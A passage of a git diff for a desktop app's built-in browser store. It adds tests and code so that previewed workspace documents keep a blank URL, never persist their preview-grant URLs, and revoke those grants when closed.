+    expect(store.getState().browserPagesByWorkspace[tab.id]?.[0]?.title).toBe('index.html')
+
+    store.getState().updateBrowserPageState(pageId, { title: 'Quarterly Report' })
+    expect(store.getState().browserPagesByWorkspace[tab.id]?.[0]?.title).toBe('Quarterly Report')
+
+    store.getState().updateBrowserPageState(pageId, { title: '' })
+    expect(store.getState().browserPagesByWorkspace[tab.id]?.[0]?.title).toBe('index.html')
+  })
+
+  // Why a title needs the same refusal the url has: Chromium reports the URL as the title when a
+  // document declares none, and titles are stored, mirrored onto the tab and written to disk.
+  it('refuses a grant url arriving as the document title', () => {
+    const store = createStoreWithWorktree()
+    const tab = store.getState().createBrowserTab(WORKTREE_ID, LIVE_GRANT_URL, {
+      docLocation: DOC_LOCATION,
+      title: 'index.html',
+      browserRuntimeEnvironmentId: null
+    })
+    const pageId = store.getState().browserPagesByWorkspace[tab.id]?.[0]?.id ?? ''
+
+    store.getState().updateBrowserPageState(pageId, { title: LIVE_GRANT_URL })
+
+    expect(store.getState().browserPagesByWorkspace[tab.id]?.[0]?.title).toBe('index.html')
+    expect(store.getState().browserTabsByWorktree[WORKTREE_ID]?.[0]?.title).toBe('index.html')
+    expect(JSON.stringify(persistedSession(store))).not.toContain('orca-preview://')
+  })
+
+  // The presence half for both: an ordinary page still gets the blank-url name, so a fallback that
+  // had swallowed every title would fail here rather than pass by naming everything after a file.
+  it('still names an ordinary blank browser tab New Tab', () => {
+    const store = createStoreWithWorktree()
+    const tab = store.getState().createBrowserTab(WORKTREE_ID, ORCA_BROWSER_BLANK_URL)
+    const pageId = store.getState().browserPagesByWorkspace[tab.id]?.[0]?.id ?? ''
+
+    store.getState().updateBrowserPageState(pageId, { title: '' })
+
+    expect(store.getState().browserPagesByWorkspace[tab.id]?.[0]?.title).toBe('New Tab')
+  })
+
+  // Why the third url door is fenced even though nothing reaches it today: creation and the title
+  // update are fenced, and a door left open is one navigation report away from committing a grant
+  // to the page every persisted, mirrored and published reader takes its url from.
+  it('keeps its blank url when a navigation commits one onto it', () => {
+    const store = createStoreWithWorktree()
+    const tab = store.getState().createBrowserTab(WORKTREE_ID, LIVE_GRANT_URL, {
+      docLocation: DOC_LOCATION,
+      title: 'index.html',
+      browserRuntimeEnvironmentId: null
+    })
+    const pageId = store.getState().browserPagesByWorkspace[tab.id]?.[0]?.id ?? ''
+
+    store.getState().setBrowserPageUrl(pageId, LIVE_GRANT_URL)
+
+    const page = store.getState().browserPagesByWorkspace[tab.id]?.[0]
+    expect(page?.url).toBe(ORCA_BROWSER_BLANK_URL)
+    expect(page?.title).toBe('index.html')
+    // Nothing to wait for behind a blank url: an inert guest never reports the load that clears it.
+    expect(page?.loading).toBe(false)
+    expect(store.getState().browserTabsByWorktree[WORKTREE_ID]?.[0]?.url).toBe(
+      ORCA_BROWSER_BLANK_URL
+    )
+    expect(JSON.stringify(persistedSession(store))).not.toContain('orca-preview://')
+  })
+
+  // The presence half for the door above: an ordinary page still takes the url it is given, so a
+  // door that had stopped writing urls entirely would fail here rather than pass by writing none.
+  it('still commits a navigation url onto an ordinary browser tab', () => {
+    const store = createStoreWithWorktree()
+    const tab = store.getState().createBrowserTab(WORKTREE_ID, 'https://example.com/')
+    const pageId = store.getState().browserPagesByWorkspace[tab.id]?.[0]?.id ?? ''
+
+    store.getState().setBrowserPageUrl(pageId, 'https://example.com/next')
+
+    expect(store.getState().browserPagesByWorkspace[tab.id]?.[0]).toMatchObject({
+      url: 'https://example.com/next',
+      loading: true
+    })
+  })
+
+  it('never asks for the address bar it does not have', () => {
+    const store = createStoreWithWorktree()
+
+    const docTab = store.getState().createBrowserTab(WORKTREE_ID, LIVE_GRANT_URL, {
+      docLocation: DOC_LOCATION,
+      browserRuntimeEnvironmentId: null
+    })
+    const newTab = store.getState().createBrowserTab(WORKTREE_ID, ORCA_BROWSER_BLANK_URL)
+
+    expect(store.getState().pendingAddressBarFocusByTabId[docTab.id]).toBeUndefined()
+    // The blank url is exactly what marks an ordinary New Tab as wanting focus there.
+    expect(store.getState().pendingAddressBarFocusByTabId[newTab.id]).toBe(true)
+  })
+
+  // Why the mirror is driven and not just read after creation: creation builds the workspace from
+  // its one page, while every later change re-mirrors from whichever page is active. A mirror that
+  // does not carry this field leaves the strip entry naming a document the reader has switched away
+  // from — and the publish boundary reads the tab, not the page.
+  it('follows the active page in and out of the document', () => {
+    const store = createStoreWithWorktree()
+    const tab = store.getState().createBrowserTab(WORKTREE_ID, LIVE_GRANT_URL, {
+      docLocation: DOC_LOCATION,
+      browserRuntimeEnvironmentId: null
+    })
+    const docPageId = store.getState().browserPagesByWorkspace[tab.id]?.[0]?.id ?? ''
+
+    const urlPage = store.getState().createBrowserPage(tab.id, 'https://example.com/')
+
+    expect(store.getState().browserTabsByWorktree[WORKTREE_ID]?.[0]?.docLocation ?? null).toBeNull()
+    expect(store.getState().browserTabsByWorktree[WORKTREE_ID]?.[0]?.url).toBe(
+      'https://example.com/'
+    )
+
+    store.getState().setActiveBrowserPage(tab.id, docPageId)
+
+    expect(store.getState().browserTabsByWorktree[WORKTREE_ID]?.[0]?.docLocation).toEqual(
+      DOC_LOCATION
+    )
+    expect(urlPage?.docLocation ?? null).toBeNull()
+  })
+
+  // Why a repair path and not a switch: every other mirrored field can be equal while this one is
+  // not — two documents named index.html in different folders share a title, and a document page's
+  // url is blank by construction. Without this field in the comparison the strip entry keeps naming
+  // the document the reader moved away from, and the publish boundary reads the entry.
+  it('repairs a workspace still naming the document its page has left', () => {
+    const store = createStoreWithWorktree()
+    const tab = store.getState().createBrowserTab(WORKTREE_ID, LIVE_GRANT_URL, {
+      docLocation: DOC_LOCATION,
+      browserRuntimeEnvironmentId: null
+    })
+    const page = store.getState().browserPagesByWorkspace[tab.id]?.[0]
+    const otherDocument = { ...DOC_LOCATION, filePath: '/home/alice/wt1/appendix/index.html' }
+    store.setState({
+      browserPagesByWorkspace: {
+        ...store.getState().browserPagesByWorkspace,
+        [tab.id]: [{ ...page!, docLocation: otherDocument }]
+      }
+    })
+
+    store.getState().updateBrowserPageState(page!.id, { title: page!.title })
+
+    expect(store.getState().browserTabsByWorktree[WORKTREE_ID]?.[0]?.docLocation).toEqual(
+      otherDocument
+    )
+  })
+
+  // Why closing has to say so: a grant is the only authority the preview scheme honors, and it
+  // outlives the guest. A closed document that stays readable is a read authority nothing revokes
+  // until the process ends.
+  it('revokes the grant of the document tab that was closed, and only that one', () => {
+    const store = createStoreWithWorktree()
+    const docTab = store.getState().createBrowserTab(WORKTREE_ID, LIVE_GRANT_URL, {
+      docLocation: DOC_LOCATION,
+      browserRuntimeEnvironmentId: null
+    })
+    const docPageId = store.getState().browserPagesByWorkspace[docTab.id]?.[0]?.id
+    const urlTab = store.getState().createBrowserTab(WORKTREE_ID, 'https://example.com/')
+
+    store.getState().closeBrowserTab(urlTab.id)
+    expect(mocks.releaseDocPreviewGrant).not.toHaveBeenCalled()
+
+    store.getState().closeBrowserTab(docTab.id)
+
+    expect(mocks.releaseDocPreviewGrant).toHaveBeenCalledWith(docPageId)
+    expect(mocks.releaseDocPreviewGrant).toHaveBeenCalledTimes(1)
+  })
+
+  it('revokes a document grant when only that page is closed', () => {
+    mocks.releaseDocPreviewGrant.mockClear()
+    const store = createStoreWithWorktree()
+    const tab = store.getState().createBrowserTab(WORKTREE_ID, LIVE_GRANT_URL, {
+      docLocation: DOC_LOCATION,
+      browserRuntimeEnvironmentId: null
+    })
+    const docPageId = store.getState().browserPagesByWorkspace[tab.id]?.[0]?.id ?? ''
+    store.getState().createBrowserPage(tab.id, 'https://example.com/')
+
+    store.getState().closeBrowserPage(docPageId)
+
+    expect(mocks.releaseDocPreviewGrant).toHaveBeenCalledExactlyOnceWith(docPageId)
+    expect(store.getState().browserPagesByWorkspace[tab.id]).toHaveLength(1)
+  })
+
+  it('reopens a closed document tab with its document identity', () => {
+    const store = createStoreWithWorktree()
+    const tab = store.getState().createBrowserTab(WORKTREE_ID, LIVE_GRANT_URL, {
+      docLocation: DOC_LOCATION,
+      browserRuntimeEnvironmentId: null
+    })
+
+    store.getState().closeBrowserTab(tab.id)
+    const reopened = store.getState().reopenClosedBrowserTab(WORKTREE_ID)
+    const page = reopened ? store.getState().browserPagesByWorkspace[reopened.id]?.[0] : undefined
+
+    expect(page?.docLocation).toEqual(DOC_LOCATION)
+    expect(page?.url).toBe(ORCA_BROWSER_BLANK_URL)
+    expect(reopened?.docLocation).toEqual(DOC_LOCATION)
+  })
+
+  it('reopens a closed document page with its document identity', () => {
+    const store = createStoreWithWorktree()
+    const tab = store.getState().createBrowserTab(WORKTREE_ID, 'https://example.com/')
+    const documentPage = store.getState().createBrowserPage(tab.id, LIVE_GRANT_URL, {
+      docLocation: DOC_LOCATION,
+      browserRuntimeEnvironmentId: null
+    })
+    if (!documentPage) {
+      throw new Error('Expected a document page')
+    }
+
+    store.getState().closeBrowserPage(documentPage.id)
+    const reopened = store.getState().reopenClosedBrowserPage(tab.id)
+
+    expect(reopened?.docLocation).toEqual(DOC_LOCATION)
+    expect(reopened?.url).toBe(ORCA_BROWSER_BLANK_URL)
+  })
+
+  it('writes the document and not the grant to the session', () => {
+    const store = createStoreWithWorktree()
+    const tab = store.getState().createBrowserTab(WORKTREE_ID, LIVE_GRANT_URL, {
+      docLocation: DOC_LOCATION,
+      browserRuntimeEnvironmentId: null
+    })
+
+    const session = persistedSession(store)
+    const written = JSON.stringify(session)
+
+    expect(session.browserPagesByWorkspace?.[tab.id]?.[0]?.docLocation).toEqual(DOC_LOCATION)
+    expect(session.browserPagesByWorkspace?.[tab.id]?.[0]?.url).toBe(ORCA_BROWSER_BLANK_URL)
+    expect(written).not.toContain('orca-preview://')
+  })
+
+  // Why the schema is asserted separately: both browser schemas are plain z.object, which strips
+  // what it does not name. An unlisted docLocation survives every step above and disappears on
+  // load, restoring the document as a blank New Tab under a strip entry that still names it.
+  it('survives the session schema in both halves', () => {
+    const store = createStoreWithWorktree()
+    const tab = store.getState().createBrowserTab(WORKTREE_ID, LIVE_GRANT_URL, {
+      docLocation: DOC_LOCATION,
+      browserRuntimeEnvironmentId: null
+    })
+    const session = persistedSession(store)
+
+    const parsedPage = browserPageSchema.parse(session.browserPagesByWorkspace?.[tab.id]?.[0])
+    const parsedTab = browserWorkspaceSchema.parse(
+      session.browserTabsByWorktree?.[WORKTREE_ID]?.[0]
+    )
+
+    expect(parsedPage.docLocation).toEqual(DOC_LOCATION)
+    expect(parsedTab.docLocation).toEqual(DOC_LOCATION)
+  })
+
+  it('restores as the document it was, still blank', () => {
+    const store = createStoreWithWorktree()
+    const tab = store.getState().createBrowserTab(WORKTREE_ID, LIVE_GRANT_URL, {
+      docLocation: DOC_LOCATION,
+      browserRuntimeEnvironmentId: null
+    })
+    const session = persistedSession(store)
+
+    const restored = createStoreWithWorktree()
+    restored.getState().hydrateBrowserSession({
+      activeRepoId: 'repo1',
+      activeWorktreeId: WORKTREE_ID,
+      activeTabId: null,
+      tabsByWorktree: {},
+      terminalLayoutsByTabId: {},
+      ...session
+    })
+
+    const page = restored.getState().browserPagesByWorkspace[tab.id]?.[0]
+    expect(page?.docLocation).toEqual(DOC_LOCATION)
+    expect(page?.url).toBe(ORCA_BROWSER_BLANK_URL)
+    expect(restored.getState().browserTabsByWorktree[WORKTREE_ID]?.[0]?.docLocation).toEqual(
+      DOC_LOCATION
+    )
+  })
+
+  // Why this shape and not just a missing field: salvage drops a malformed page row and leaves the
+  // array empty, and hydration then rebuilds one page from the tab's own mirrored chrome.
+  it('restores from the tab alone when its page row was salvaged away', () => {
+    const store = createStoreWithWorktree()
+    const tab = store.getState().createBrowserTab(WORKTREE_ID, LIVE_GRANT_URL, {
+      docLocation: DOC_LOCATION,
+      browserRuntimeEnvironmentId: null
+    })
+    const session = persistedSession(store)
+
+    const restored = createStoreWithWorktree()
+    restored.getState().hydrateBrowserSession({
+      activeRepoId: 'repo1',
+      activeWorktreeId: WORKTREE_ID,
+      activeTabId: null,
+      tabsByWorktree: {},
+      terminalLayoutsByTabId: {},
+      ...session,
+      browserPagesByWorkspace: { [tab.id]: [] }
+    })
+
+    const page = restored.getState().browserPagesByWorkspace[tab.id]?.[0]
+    expect(page?.docLocation).toEqual(DOC_LOCATION)
+    expect(page?.url).toBe(ORCA_BROWSER_BLANK_URL)
+  })
+
+  // Why a hand-written row and not one this build can produce: the store refuses to mint one, so
+  // the only way a grant url reaches this field is a session written by another build. It names a
+  // grant that died with the process that minted it, and the address bar would show it.
+  it('blanks a grant url a foreign session carried in', () => {
+    const restored = createStoreWithWorktree()
+
+    restored.getState().hydrateBrowserSession({
+      activeRepoId: 'repo1',
+      activeWorktreeId: WORKTREE_ID,
+      activeTabId: null,
+      tabsByWorktree: {},
+      terminalLayoutsByTabId: {},
+      browserTabsByWorktree: {
+        [WORKTREE_ID]: [
+          {
+            id: 'browser-1',
+            worktreeId: WORKTREE_ID,
+            activePageId: 'page-1',
+            pageIds: ['page-1'],
+            url: LIVE_GRANT_URL,
+            title: 'index.html',
+            loading: false,
+            faviconUrl: null,
+            canGoBack: false,
+            canGoForward: false,
+            loadError: null,
+            createdAt: 1,
+            docLocation: DOC_LOCATION
+          }
+        ]
+      },
+      browserPagesByWorkspace: {
+        'browser-1': [
+          {
+            id: 'page-1',
+            workspaceId: 'browser-1',
+            worktreeId: WORKTREE_ID,
+            url: LIVE_GRANT_URL,
+            title: 'index.html',
+            loading: false,
+            faviconUrl: null,
+            canGoBack: false,
+            canGoForward: false,
+            loadError: null,
+            createdAt: 1,
+            docLocation: DOC_LOCATION
+          }
+        ]
+      }
+    })
+
+    expect(restored.getState().browserPagesByWorkspace['browser-1']?.[0]?.url).toBe(
+      ORCA_BROWSER_BLANK_URL
+    )
+    expect(restored.getState().browserTabsByWorktree[WORKTREE_ID]?.[0]?.url).toBe(
+      ORCA_BROWSER_BLANK_URL
+    )
+  })
+})
diff --git a/src/renderer/src/store/slices/browser.ts b/src/renderer/src/store/slices/browser.ts
index 8b7fce1cd84..21394e8ff36 100644
--- a/src/renderer/src/store/slices/browser.ts
+++ b/src/renderer/src/store/slices/browser.ts
@@ -8,11 +8,13 @@ import type {
   BrowserHistoryEntry,
   BrowserLoadError,
   BrowserPage,
+  BrowserPageDocLocation,
   BrowserSessionProfile,
   BrowserSessionProfileCreateOptions,
   BrowserViewportPresetId,
   BrowserWorkspace
 } from '../../../../shared/browser-workspace-types'
+import { browserPageDocLocationsEqual } from '../../../../shared/browser-page-doc-location'
 import type { WorkspaceSessionState } from '../../../../shared/workspace-session-state-types'
 import { GRAB_BUDGET, type BrowserPageAnnotation } from '../../../../shared/browser-grab-types'
 import {
@@ -30,6 +32,9 @@ import {
   normalizeBrowserHistoryUrl
 } from '../../../../shared/workspace-session-browser-history'
 import { destroyWorkspaceWebviews } from './browser-webview-cleanup'
+import { releaseDocPreviewGrant } from '@/lib/doc-preview-grants'
+import { basename } from '@/lib/path'
+import { isDocPreviewUrl } from '../../../../shared/doc-preview-scheme'
 import {
   getRecentlyClosedTabPosition,
   restoreRecentlyClosedTabPosition,
@@ -51,14 +56,13 @@ import type {
 import { createBrowserUuid } from '@/lib/browser-uuid'
 import { translate } from '@/i18n/i18n'
 import {
-  getExecutionHostLabel,
   getSettingsFocusedExecutionHostId,
   LOCAL_EXECUTION_HOST_ID,
   parseExecutionHostId,
   toRuntimeExecutionHostId,
   type ExecutionHostId
 } from '../../../../shared/execution-host'
-import { getHostSettingOverride } from '../../../../shared/host-setting-overrides'
+import { selectExecutionHostDisplayLabel } from '@/lib/execution-host-display-label'
 import type { RuntimeBrowserPlacement } from '../../../../shared/runtime-browser-placement'
 import {
   getExecutionHostIdForWorktree,
@@ -85,12 +89,16 @@ type CreateBrowserTabOptions = {
   // Explicit "New Tab" focuses the address bar even with a real home URL; link-opened tabs leave it unset.
   focusAddressBar?: boolean
   browserRuntimeEnvironmentId?: string | null
+  /** Creates a page that shows a workspace document instead of a URL. */
+  docLocation?: BrowserPageDocLocation
 }
 
 type CreateBrowserPageOptions = {
   activate?: boolean
   title?: string
   browserRuntimeEnvironmentId?: string | null
+  /** Creates a page that shows a workspace document instead of a URL. */
+  docLocation?: BrowserPageDocLocation
 }
 
 type BrowserTabPageState = {
@@ -236,7 +244,11 @@ export type BrowserSlice = {
     options?: CreateBrowserTabOptions
   ) => BrowserWorkspace
   openNewBrowserTabInActiveWorkspace: (groupId: string) => Promise<void>
-  openBrowserProfileTabInActiveWorkspace: (url: string, profileId: string) => Promise<boolean>
+  /** `profileId: null` uses the workspace default profile. */
+  openBrowserProfileTabInActiveWorkspace: (
+    url: string,
+    profileId: string | null
+  ) => Promise<boolean>
   closeBrowserTab: (tabId: string, options?: { reason?: 'cleanup' }) => void
   shutdownWorktreeBrowsers: (worktreeId: string) => Promise<void>
   reopenClosedBrowserTab: (worktreeId: string) => BrowserWorkspace | null
@@ -338,7 +350,22 @@ function normalizeUrl(url: string): string {
   return redactKagiSessionToken(trimmed)
 }
 
-function normalizeBrowserTitle(title: string | null | undefined, url: string): string {
+function normalizeBrowserTitle(
+  title: string | null | undefined,
+  url: string,
+  docLocation?: BrowserPageDocLocation | null
+): string {
+  if (docLocation) {
+    // Why a document page cannot go through the checks below: its url is the blank URL by design,
+    // which would name every previewed document "New Tab". Its fallback is the file it shows.
+    // Why the grant URL is refused rather than trusted: Chromium reports the URL as the title when
+    // a document declares none, and this title is stored, persisted and mirrored onto the tab —
+    // a grant reaching any of them would outlive the grant and name a document nothing can read.
+    if (!title || isDocPreviewUrl(title)) {
+      return basename(docLocation.filePath) || docLocation.filePath
+    }
+    return title
+  }
   if (
     url === 'about:blank' ||
     url === ORCA_BROWSER_BLANK_URL ||
@@ -358,23 +385,6 @@ function getBrowserSettingsHostId(
   return state.browserSessionHostIdOverride ?? getSettingsFocusedExecutionHostId(state.settings)
 }
 
-function getBrowserSettingsHostLabel(state: AppState, hostId: ExecutionHostId): string {
-  const override = getHostSettingOverride(state.settings, hostId, 'displayLabel')
-  if (override) {
-    return override
-  }
-  const parsed = parseExecutionHostId(hostId)
-  if (parsed?.kind === 'runtime') {
-    const name = state.runtimeEnvironments
-      ?.find((environment) => environment.id === parsed.environmentId)
-      ?.name.trim()
-    if (name) {
-      return name
-    }
-  }
-  return getExecutionHostLabel(hostId)
-}
-
 function getBrowserSettingsRuntimeEnvironmentId(
   state: Pick<AppState, 'browserSessionHostIdOverride' | 'settings'>
 ): string | null {
@@ -476,15 +486,19 @@ function buildBrowserPage(
   url: string,
   title?: string,
   browserRuntimeEnvironmentId?: string | null,
-  browserPageId?: string
+  browserPageId?: string,
+  docLocation?: BrowserPageDocLocation
 ): BrowserPage {
-  const normalizedUrl = normalizeUrl(url)
+  // Why the url is overridden rather than trusted: this is the one place a page's url is minted,
+  // and it is read by persistence, the mobile publisher, history and the address bar. A grant URL
+  // reaching any of them would outlive the grant and name a document that machine cannot read.
+  const normalizedUrl = docLocation ? ORCA_BROWSER_BLANK_URL : normalizeUrl(url)
   return {
     id: browserPageId ?? createBrowserUuid(),
     workspaceId,
     worktreeId,
     url: normalizedUrl,
-    title: normalizeBrowserTitle(title, normalizedUrl),
+    title: normalizeBrowserTitle(title, normalizedUrl, docLocation),
     // Why: blank pages mount an inert guest (no real navigation); marking them loading would flash the loading affordance.
     loading: normalizedUrl !== 'about:blank' && normalizedUrl !== ORCA_BROWSER_BLANK_URL,
     faviconUrl: null,
@@ -492,7 +506,8 @@ function buildBrowserPage(
     canGoForward: false,
     loadError: null,
     createdAt: Date.now(),
-    ...(browserRuntimeEnvironmentId !== undefined ? { browserRuntimeEnvironmentId } : {})
+    ...(browserRuntimeEnvironmentId !== undefined ? { browserRuntimeEnvironmentId } : {}),
+    ...(docLocation ? { docLocation } : {})
   }
 }
 
@@ -518,7 +533,8 @@ function buildWorkspaceFromPage(
     canGoBack: page.canGoBack,
     canGoForward: page.canGoForward,
     loadError: page.loadError,
-    createdAt: page.createdAt
+    createdAt: page.createdAt,
+    docLocation: page.docLocation ?? null
   }
 }
 
@@ -538,7 +554,8 @@ function mirrorWorkspaceFromActivePage(
       faviconUrl: null,
       canGoBack: false,
       canGoForward: false,
-      loadError: null
+      loadError: null,
+      docLocation: null
     }
   }
   return {
@@ -551,7 +568,8 @@ function mirrorWorkspaceFromActivePage(
     faviconUrl: activePage.faviconUrl,
     canGoBack: activePage.canGoBack,
     canGoForward: activePage.canGoForward,
-    loadError: activePage.loadError
+    loadError: activePage.loadError,
+    docLocation: activePage.docLocation ?? null
   }
 }
 
@@ -571,7 +589,8 @@ function browserWorkspaceMirrorFieldsEqual(
     workspace.faviconUrl === mirrored.faviconUrl &&
     workspace.canGoBack === mirrored.canGoBack &&
     workspace.canGoForward === mirrored.canGoForward &&
-    workspace.loadError === mirrored.loadError
+    workspace.loadError === mirrored.loadError &&
+    browserPageDocLocationsEqual(workspace.docLocation ?? null, mirrored.docLocation ?? null)
   )
 }
 
@@ -722,7 +741,8 @@ export const createBrowserSlice: StateCreator<AppState, [], [], BrowserSlice> =
       url,
       options?.title,
       options?.browserRuntimeEnvironmentId,
-      browserPageId
+      browserPageId,
+      options?.docLocation
     )
     // Why: with no explicit profile, inherit the user's default so a Settings preference applies to new tabs.
     const sessionProfileId =
@@ -767,6 +787,9 @@ export const createBrowserSlice: StateCreator<AppState, [], [], BrowserSlice> =
       const shouldFocusFloatingTab = shouldActivate && worktreeId === FLOATING_TERMINAL_WORKTREE_ID
       const shouldFocusAddressBar =
         (shouldUpdateGlobalActiveSurface || shouldFocusFloatingTab) &&
+        // Why the doc check and not just the url: a document page is blank by construction, and
+        // the blank url is exactly what marks a New Tab as wanting the address bar it does not have.
+        !page.docLocation &&
         (options?.focusAddressBar ??
           (page.url === 'about:blank' || page.url === ORCA_BROWSER_BLANK_URL))
 
@@ -918,6 +941,10 @@ export const createBrowserSlice: StateCreator<AppState, [], [], BrowserSlice> =
     // page to close and must not enter the reopen stack as if the user had closed something.
     const isCleanup = options?.reason === 'cleanup'
     let remotePagesToClose: { worktreeId: string; handle: RemoteBrowserPageHandle }[] = []
+    // Why collected rather than released inside the reducer: revoking is main-process work, and a
+    // grant is the only authority the preview scheme honors — a closed document must stop being
+    // readable, and it must stop being readable even if the reducer bails out below.
+    let docPageIdsToRelease: string[] = []
     let activeBrowserWorktreeIdToNotify: string | null = null
     set((s) => {
       let owningWorktreeId: string | null = null
@@ -949,6 +976,7 @@ export const createBrowserSlice: StateCreator<AppState, [], [], BrowserSlice> =
         delete nextBrowserAnnotationsByPageId[page.id]
         delete nextBrowserCertificateFailuresByPageId[page.id]
       }
+      docPageIdsToRelease = closedPages.filter((page) => page.docLocation).map((page) => page.id)
       remotePagesToClose = isCleanup
         ? []
         : closedPages.flatMap((page) => {
@@ -1057,6 +1085,10 @@ export const createBrowserSlice: StateCreator<AppState, [], [], BrowserSlice> =
       closeRemoteBrowserPageInOwningEnvironment(remotePage.worktreeId, remotePage.handle)
     }
 
+    for (const docPageId of docPageIdsToRelease) {
+      releaseDocPreviewGrant(docPageId)
+    }
+
     for (const tabs of Object.values(get().unifiedTabsByWorktree)) {
       const workspaceItem = tabs.find(
         (entry) => entry.contentType === 'browser' && entry.entityId === tabId
@@ -1157,6 +1189,7 @@ export const createBrowserSlice: StateCreator<AppState, [], [], BrowserSlice> =
         activate: true,
         sessionProfileId,
         sessionPartition,
+        ...(snap.docLocation ? { docLocation: snap.docLocation } : {}),
         targetGroupId: entryToRestore.position?.groupId
       })
       restoreRecentlyClosedTabPosition(get, worktreeId, restored.id, entryToRestore.position)
@@ -1171,14 +1204,16 @@ export const createBrowserSlice: StateCreator<AppState, [], [], BrowserSlice> =
       sessionProfileId,
       sessionPartition,
       targetGroupId: entryToRestore.position?.groupId,
-      browserRuntimeEnvironmentId: firstPage.browserRuntimeEnvironmentId
+      browserRuntimeEnvironmentId: firstPage.browserRuntimeEnvironmentId,
+      ...(firstPage.docLocation ? { docLocation: firstPage.docLocation } : {})
     })
 
     for (const p of restPages) {
       get().createBrowserPage(restored.id, p.url, {
         activate: false,
         title: p.title,
-        browserRuntimeEnvironmentId: p.browserRuntimeEnvironmentId
+        browserRuntimeEnvironmentId: p.browserRuntimeEnvironmentId,
+        ...(p.docLocation ? { docLocation: p.docLocation } : {})
       })
     }
 
@@ -1258,7 +1293,9 @@ export const createBrowserSlice: StateCreator<AppState, [], [], BrowserSlice> =
       workspace.worktreeId,
       url,
       options?.title,
-      options?.browserRuntimeEnvironmentId
+      options?.browserRuntimeEnvironmentId,
+      undefined,
+      options?.docLocation
     )
 
     set((s) => {
@@ -1279,6 +1316,7 @@ export const createBrowserSlice: StateCreator<AppState, [], [], BrowserSlice> =
         s.activeBrowserTabIdByWorktree[workspace.worktreeId] === workspaceId
       const shouldFocusAddressBar =
         shouldUpdateGlobalActiveSurface &&
+        !page.docLocation &&
         (page.url === 'about:blank' || page.url === ORCA_BROWSER_BLANK_URL)
 
       return {
@@ -1321,6 +1359,7 @@ export const createBrowserSlice: StateCreator<AppState, [], [], BrowserSlice> =
 
   closeBrowserPage: (pageId) => {
     let closedWorkspaceIdForLabel: string | null = null
+    let docPageIdToRelease: string | null = null
     const remotePagesToClose: { worktreeId: string; handle: RemoteBrowserPageHandle }[] = []
     set((s) => {
       const page = findPage(s.browserPagesByWorkspace, pageId)
@@ -1332,6 +1371,7 @@ export const createBrowserSlice: StateCreator<AppState, [], [], BrowserSlice> =
         return s
       }
       closedWorkspaceIdForLabel = page.workspaceId
+      docPageIdToRelease = page.docLocation ? page.id : null
       const currentPages = s.browserPagesByWorkspace[workspace.id] ?? []
       const nextPages = currentPages.filter((entry) => entry.id !== pageId)
       const closedIdx = currentPages.findIndex((entry) => entry.id === pageId)
@@ -1402,6 +1442,10 @@ export const createBrowserSlice: StateCreator<AppState, [], [], BrowserSlice> =
       closeRemoteBrowserPageInOwningEnvironment(remotePage.worktreeId, remotePage.handle)
     }
 
+    if (docPageIdToRelease) {
+      releaseDocPreviewGrant(docPageIdToRelease)
+    }
+
     const closedWorkspaceId = closedWorkspaceIdForLabel
     if (!closedWorkspaceId) {
       return
@@ -1440,7 +1484,8 @@ export const createBrowserSlice: StateCreator<AppState, [], [], BrowserSlice> =
     return get().createBrowserPage(workspaceId, pageToRestore.url, {
       title: pageToRestore.title,
       activate: true,
-      browserRuntimeEnvironmentId: pageToRestore.browserRuntimeEnvironmentId
+      browserRuntimeEnvironmentId: pageToRestore.browserRuntimeEnvironmentId,
+      ...(pageToRestore.docLocation ? { docLocation: pageToRestore.docLocation } : {})
     })
   },
 
@@ -1596,7 +1641,9 @@ export const createBrowserSlice: StateCreator<AppState, [], [], BrowserSlice> =
       const nextPage = {
         ...page,
         title:
-          updates.title === undefined ? page.title : normalizeBrowserTitle(updates.title, page.url),
+          updates.title === undefined
+            ? page.title
+            : normalizeBrowserTitle(updates.title, page.url, page.docLocation),
         loading: updates.loading ?? page.loading,
         faviconUrl: updates.faviconUrl === undefined ? page.faviconUrl : updates.faviconUrl,
         canGoBack: updates.canGoBack ?? page.canGoBack,
@@ -1724,15 +1771,21 @@ export const createBrowserSlice: StateCreator<AppState, [], [], BrowserSlice> =
       if (!workspace) {
         return s
       }
+      // Why a document page keeps its blank url here too: this is the third door onto a page's url,
+      // and a document's url is blank by construction. A grant committed here would reach
+      // persistence, the publish boundary and the address bar, exactly as at the other two doors.
+      const nextPageUrl = page.docLocation ? ORCA_BROWSER_BLANK_URL : nextUrl
       // Why: annotations point at DOM coords of the loaded document; a real URL change invalidates those markers.
-      const shouldClearAnnotations = normalizeUrl(page.url) !== nextUrl
+      const shouldClearAnnotations = normalizeUrl(page.url) !== nextPageUrl
       const nextPages = (s.browserPagesByWorkspace[workspace.id] ?? []).map((entry) =>
         entry.id === pageId
           ? {
               ...entry,
-              url: nextUrl,
-              title: normalizeBrowserTitle(entry.title, nextUrl),
-              loading: true,
+              url: nextPageUrl,
+              title: normalizeBrowserTitle(entry.title, nextPageUrl, entry.docLocation),
+              // Why not simply true: a document page's guest is inert, so there is nothing to wait
+              // for and the loading affordance would never clear.
+              loading: !entry.docLocation,
               loadError: options?.preserveLoadError ? entry.loadError : null
             }
           : entry
@@ -1916,7 +1969,11 @@ export const createBrowserSlice: StateCreator<AppState, [], [], BrowserSlice> =
                   canGoBack: tab.canGoBack,
                   canGoForward: tab.canGoForward,
                   loadError: tab.loadError ?? null,
-                  createdAt: tab.createdAt
+                  createdAt: tab.createdAt,
+                  // Why the tab's copy is authority here: this branch runs when the page array was
+                  // salvaged away, and without it a restored document page comes back as a blank
+                  // New Tab under a strip entry still naming the document.
+                  docLocation: tab.docLocation ?? null
                 } satisfies BrowserPage
               ]
           const nextPages = persistedPages.map((page) => {
@@ -1929,7 +1986,10 @@ export const createBrowserSlice: StateCreator<AppState, [], [], BrowserSlice> =
               ...persistedPage,
               workspaceId: tab.id,
               worktreeId,
-              url: normalizeUrl(page.url),
+              // Why re-asserted on restore: the same invariant creation enforces. A session written
+              // by an older or hand-edited build could carry a grant URL here, and it would name a
+              // grant that died with the process that minted it.
+              url: page.docLocation ? ORCA_BROWSER_BLANK_URL : normalizeUrl(page.url),
               loading: false,
               loadError: page.loadError ?? null
             }
@@ -2225,7 +2285,7 @@ export const createBrowserSlice: StateCreator<AppState, [], [], BrowserSlice> =
   importCookiesToProfile: async (profileId) => {
     const initialState = get()
     const hostId = getBrowserSettingsHostId(initialState)
-    const executionHostLabel = getBrowserSettingsHostLabel(initialState, hostId)
+    const executionHostLabel = selectExecutionHostDisplayLabel(initialState, hostId)
     if (getBrowserSettingsRuntimeEnvironmentId(initialState)) {
       const reason = translate(
         'auto.store.slices.browser.remoteCookieImportUnavailable',
